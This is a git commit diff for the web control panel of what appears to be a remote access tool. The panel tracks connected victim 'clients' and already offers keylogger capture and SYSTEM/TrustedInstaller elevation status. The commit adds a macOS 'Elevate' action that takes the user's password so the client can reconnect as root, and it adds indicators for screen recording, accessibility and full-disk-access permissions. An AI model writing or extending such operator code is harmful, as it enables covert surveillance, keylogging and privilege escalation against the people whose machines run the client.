new mac update for permission issues.

This commit is contained in:
KingKDot
2026-04-13 10:49:36 -05:00
parent 66393d5ba4
commit 792de1e22c
21 changed files with 480 additions and 29 deletions
+10
View File
@@ -444,6 +444,16 @@ p {
color: #d8b4fe;
border-color: rgba(168, 85, 247, 0.45);
}
.pill-perm-ok {
background: rgba(34, 197, 94, 0.15);
color: #86efac;
border-color: rgba(34, 197, 94, 0.4);
}
.pill-perm-no {
background: rgba(239, 68, 68, 0.15);
color: #fca5a5;
border-color: rgba(239, 68, 68, 0.4);
}
/* Hardware info toggle & panel */
.pill-hw {
+31
View File
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
isWindows,
"Keylogger capture is only fully supported on Windows clients.",
);
const elevateBtn = menu.querySelector('[data-action="elevate"]');
if (elevateBtn) {
elevateBtn.style.display = platform === "darwin" ? "" : "none";
}
}
async function loadCurrentUser() {
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
return;
}
if (action === "elevate") {
const password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
}
try {
const res = await fetch(`/api/clients/${contextCard}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
});
const data = await res.json().catch(() => ({}));
if (data.ok) {
alert(data.message || "Elevation successful — client will reconnect as root.");
} else {
alert(data.error || data.message || "Elevation failed.");
}
} catch (err) {
alert("Elevation request failed: " + err.message);
}
closeMenu(clearContext);
setTimeout(() => loadWithOptions({ force: true }), 2000);
return;
}
const ok = await sendCommand(contextCard, action);
if (ok) {
setTimeout(() => loadWithOptions({ force: true }), 400);
@@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
scheduleOffline(msg.reason);
return;
}
if (msg.status === "permissions_denied") {
clearOfflineTimer();
desiredStreaming = false;
const missing = Array.isArray(msg.missing) ? msg.missing : [];
const labels = {
screenRecording: "Screen Recording",
accessibility: "Accessibility",
fullDiskAccess: "Full Disk Access",
};
const list = missing.map(k => labels[k] || k).join(", ");
setStreamState("error", `macOS permissions required: ${list}`);
showElevateOffer(missing);
return;
}
if (msg.status === "connecting") {
clearOfflineTimer();
setStreamState("connecting", "Connecting");
@@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
function showElevateOffer(missing) {
// Remove previous elevate banner if any
const prev = document.getElementById("rdElevateBanner");
if (prev) prev.remove();
const banner = document.createElement("div");
banner.id = "rdElevateBanner";
banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm";
const labels = {
screenRecording: "Screen Recording",
accessibility: "Accessibility",
fullDiskAccess: "Full Disk Access",
};
const list = missing.map(k => labels[k] || k).join(", ");
banner.innerHTML = `
<div class="flex items-center gap-2">
<i class="fa-solid fa-triangle-exclamation text-amber-400"></i>
<span><strong>macOS permissions missing:</strong> ${list}</span>
</div>
<div class="text-xs text-amber-300/80">
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
</div>
<div class="flex items-center gap-2">
<input id="rdElevatePwd" type="password" placeholder="User password" autocomplete="off"
class="px-3 py-1.5 rounded bg-slate-800 border border-slate-600 text-slate-100 text-sm focus:outline-none focus:border-amber-500" />
<button id="rdElevateBtn" class="button primary text-sm px-4 py-1.5">
<i class="fa-solid fa-bolt"></i> Elevate
</button>
<button id="rdElevateDismiss" class="button ghost text-sm px-3 py-1.5">Dismiss</button>
</div>
<div id="rdElevateStatus" class="text-xs text-slate-400 hidden"></div>
`;
// Insert banner above the canvas area
if (canvasContainer && canvasContainer.parentNode) {
canvasContainer.parentNode.insertBefore(banner, canvasContainer);
}
const elevateBtn = document.getElementById("rdElevateBtn");
const pwdInput = document.getElementById("rdElevatePwd");
const statusDiv = document.getElementById("rdElevateStatus");
const dismissBtn = document.getElementById("rdElevateDismiss");
if (dismissBtn) {
dismissBtn.addEventListener("click", () => banner.remove());
}
if (elevateBtn && pwdInput) {
elevateBtn.addEventListener("click", async () => {
const password = pwdInput.value.trim();
if (!password) {
pwdInput.focus();
return;
}
elevateBtn.disabled = true;
elevateBtn.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin"></i> Elevating...';
if (statusDiv) {
statusDiv.classList.remove("hidden");
statusDiv.textContent = "Sending elevation request...";
}
try {
const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
});
const data = await res.json();
if (data.ok) {
if (statusDiv) {
statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly.";
statusDiv.className = "text-xs text-emerald-400";
}
elevateBtn.textContent = "Done";
// The client will disconnect and reconnect; the viewer should auto-recover
} else {
if (statusDiv) {
statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
statusDiv.className = "text-xs text-rose-400";
}
elevateBtn.disabled = false;
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
}
} catch (err) {
if (statusDiv) {
statusDiv.textContent = `Request failed: ${err.message}`;
statusDiv.className = "text-xs text-rose-400";
}
elevateBtn.disabled = false;
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
}
});
}
}
function sendCmd(type, payload) {
if (!activeClientId) {
console.warn("No active client selected");
+12 -1
View File
@@ -16,7 +16,7 @@ function escapeHtml(text) {
}
function cardDigest(c) {
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`;
}
export function createRenderer({
@@ -424,6 +424,17 @@ export function createRenderer({
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
${client.os === "darwin" && client.permissions ? (() => {
const p = client.permissions;
const pills = [];
if (p.screenRecording === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-video"></i> Screen</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-video-slash"></i> No Screen</span>');
if (p.accessibility === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-universal-access"></i> Accessibility</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-ban"></i> No Accessibility</span>');
if (p.fullDiskAccess === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-hard-drive"></i> FDA</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-lock"></i> No FDA</span>');
return pills.join("");
})() : ""}
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
+2
View File
@@ -45,6 +45,8 @@ const MENU_GROUPS = [
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ divider: true },
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },